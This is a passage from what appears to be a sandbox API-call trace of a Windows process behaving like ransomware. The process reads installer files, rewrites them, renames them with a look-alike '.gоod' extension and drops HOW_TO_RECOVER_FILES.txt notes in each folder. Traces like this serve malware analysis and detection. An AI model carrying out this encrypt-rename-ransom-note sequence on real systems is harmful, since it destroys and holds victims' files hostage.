(hFile=0x7b4) returned 0x1 [0097.416] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0097.416] ReadFile (in: hFile=0x7b4, lpBuffer=0x3708ba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3708ba8*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0097.418] CloseHandle (hObject=0x7b4) returned 1 [0097.418] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0097.418] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.418] GetFileType (hFile=0x7b4) returned 0x1 [0097.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0097.418] GetFileType (hFile=0x7b4) returned 0x1 [0097.418] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x151aa [0097.418] WriteFile (in: hFile=0x7b4, lpBuffer=0x3709e18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3709e18*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0097.419] CloseHandle (hObject=0x7b4) returned 1 [0097.419] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0097.419] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.419] GetFileType (hFile=0x7b4) returned 0x1 [0097.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0097.420] GetFileType (hFile=0x7b4) returned 0x1 [0097.420] ReadFile (in: hFile=0x7b4, lpBuffer=0x370c0b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x370c0b0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0097.448] CloseHandle (hObject=0x7b4) returned 1 [0097.448] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0097.448] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.448] GetFileType (hFile=0x7b4) returned 0x1 [0097.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0097.448] GetFileType (hFile=0x7b4) returned 0x1 [0097.448] WriteFile (in: hFile=0x7b4, lpBuffer=0x370ae30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x370ae30*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0097.448] CloseHandle (hObject=0x7b4) returned 1 [0097.448] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.448] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0097.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0097.448] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x364c55bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x151ba)) returned 1 [0097.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0097.449] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.gоod")) returned 1 [0097.449] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0097.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0097.449] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0097.603] GetFileType (hFile=0x7c0) returned 0x1 [0097.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0097.603] GetFileType (hFile=0x7c0) returned 0x1 [0097.604] WriteFile (in: hFile=0x7c0, lpBuffer=0x32554a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x32554a0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0097.607] CloseHandle (hObject=0x7c0) returned 1 [0097.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0097.608] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040", lpFilePart=0x0) returned 0x1a [0097.609] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0097.612] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.612] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.612] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.613] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0097.613] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0097.613] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0097.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0097.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0097.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0097.613] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040", lpFilePart=0x0) returned 0x1a [0097.613] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0097.613] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.613] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.614] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.614] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0097.614] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0097.614] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0097.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0097.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0097.614] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\eula.rtf", lpFilePart=0x0) returned 0x23 [0097.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0097.614] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x3264728 | out: lpFileInformation=0x3264728*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b)) returned 1 [0097.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0097.616] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\eula.rtf", lpFilePart=0x0) returned 0x23 [0097.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0097.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.616] GetFileType (hFile=0x7c0) returned 0x1 [0097.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0097.616] GetFileType (hFile=0x7c0) returned 0x1 [0097.616] GetFileSize (in: hFile=0x7c0, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xe3b [0097.617] ReadFile (in: hFile=0x7c0, lpBuffer=0x3265770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x3265770*, lpNumberOfBytesRead=0x1f6edc28*=0xe3b, lpOverlapped=0x0) returned 1 [0097.620] CloseHandle (hObject=0x7c0) returned 1 [0097.965] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\eula.rtf", lpFilePart=0x0) returned 0x23 [0097.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0097.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.966] GetFileType (hFile=0x7b4) returned 0x1 [0097.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0097.966] GetFileType (hFile=0x7b4) returned 0x1 [0097.966] WriteFile (in: hFile=0x7b4, lpBuffer=0x3341dd8*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3341dd8*, lpNumberOfBytesWritten=0x1f6edb38*=0xe40, lpOverlapped=0x0) returned 1 [0097.967] CloseHandle (hObject=0x7b4) returned 1 [0097.967] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\eula.rtf", lpFilePart=0x0) returned 0x23 [0097.967] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0097.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0097.967] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x369b0572, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe40)) returned 1 [0097.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0097.967] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.gоod")) returned 1 [0097.969] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0097.969] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3342fa0 | out: lpFileInformation=0x3342fa0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc)) returned 1 [0097.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0097.969] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0097.969] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.969] GetFileType (hFile=0x7b4) returned 0x1 [0097.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0097.969] GetFileType (hFile=0x7b4) returned 0x1 [0097.970] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0097.970] ReadFile (in: hFile=0x7b4, lpBuffer=0x3343368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3343368*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0097.971] CloseHandle (hObject=0x7b4) returned 1 [0097.971] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0097.971] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.971] GetFileType (hFile=0x7b4) returned 0x1 [0097.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0097.971] GetFileType (hFile=0x7b4) returned 0x1 [0097.971] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x138bc [0097.971] WriteFile (in: hFile=0x7b4, lpBuffer=0x3344608*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3344608*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0097.972] CloseHandle (hObject=0x7b4) returned 1 [0097.972] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0097.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.972] GetFileType (hFile=0x7b4) returned 0x1 [0097.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0097.972] GetFileType (hFile=0x7b4) returned 0x1 [0097.973] ReadFile (in: hFile=0x7b4, lpBuffer=0x33479f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x33479f8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0098.001] CloseHandle (hObject=0x7b4) returned 1 [0098.001] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0098.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0098.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0098.001] GetFileType (hFile=0x7b4) returned 0x1 [0098.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0098.002] GetFileType (hFile=0x7b4) returned 0x1 [0098.002] WriteFile (in: hFile=0x7b4, lpBuffer=0x33456c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x33456c0*, 